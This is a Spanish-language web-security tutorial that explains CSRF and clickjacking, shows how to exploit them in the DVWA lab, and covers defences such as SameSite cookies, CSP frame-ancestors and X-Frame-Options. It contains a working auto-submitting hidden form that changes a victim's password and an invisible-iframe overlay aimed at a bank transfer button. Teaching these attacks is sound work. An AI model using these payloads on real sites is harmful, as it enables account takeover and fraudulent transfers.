Estudio práctico de las vulnerabilidades CSRF (Cross-Site Request Forgery) y Clickjacking (UI Redressing), su explotación en DVWA y sus contramedidas. Ambas técnicas abusan de la confianza que una aplicación web tiene en el navegador del usuario.
En un ataque CSRF, el atacante engaña a un usuario autenticado para que ejecute acciones no deseadas (como cambiar su contraseña o transferir dinero) en una aplicación web donde la víctima ya tiene una sesión activa.
El CSRF existe por cómo funcionan los navegadores web: si tienes sesión iniciada en banco.com y navegas a web-maliciosa.com, si esta última web envía una petición oculta de vuelta a banco.com, tu navegador adjuntará automáticamente tus cookies de sesión a esa petición. El banco pensará que fuiste tú quien hizo la solicitud legítimamente.
Si la web no requiere un "token" único por cada formulario, podemos predecir los parámetros y forzar su envío mediante JavaScript tan pronto como la víctima abra nuestro enlace:
<!-- Página maliciosa alojada por el atacante -->
<!-- El evento onload hace que el formulario se envíe instantáneamente sin interacción -->
<html>
<body onload="document.forms[0].submit()">
<h1>Cargando video de gatitos...</h1>
<form action="http://10.0.2.4/dvwa/vulnerabilities/csrf/" method="GET" style="display:none;">
<input type="hidden" name="password_new" value="hackeado">
<input type="hidden" name="password_conf" value="hackeado">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
Entra al simulador bancario y demuestra que sabes crear un payload HTML malicioso (PoC) capaz de forzar una transferencia de fondos abusando del navegador de la víctima.
>_ INICIAR RETO CTF 04SameSite=Lax o Strict evita que el navegador envíe las cookies de sesión si la petición se origina desde un dominio externo.A diferencia del CSRF que actúa "por debajo", el Clickjacking es un ataque visual. El atacante superpone un marco invisible (iframe) que contiene una página legítima (ej: tu banco) justo encima de un botón inofensivo de la web maliciosa. El usuario cree que está haciendo clic en "Gana un premio", pero en realidad está haciendo clic en "Confirmar Transferencia" de su banco.
<!-- El atacante enmarca la web vulnerable -->
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* Prácticamente invisible, pero el clic funciona */
z-index: 999; /* Forzamos que esté por encima de todo */
}
.boton-cebo {
position: absolute; top: 200px; left: 300px; z-index: 1;
}
</style>
<div class="boton-cebo">¡Haz clic para ver el contenido!</div>
<iframe src="https://banco.com/confirmar-transferencia"></iframe>
La web legítima debe decirle al navegador: "No permitas que mi sitio sea renderizado dentro de un iframe". Esto se logra enviando cabeceras HTTP específicas:
# 1. Content Security Policy (El estándar moderno y preferido):
Header set Content-Security-Policy "frame-ancestors 'none';"
# 2. X-Frame-Options (Soporte para navegadores antiguos):
Header set X-Frame-Options "DENY"
# o SAMEORIGIN si necesitas enmarcarlo dentro de tu propio dominio.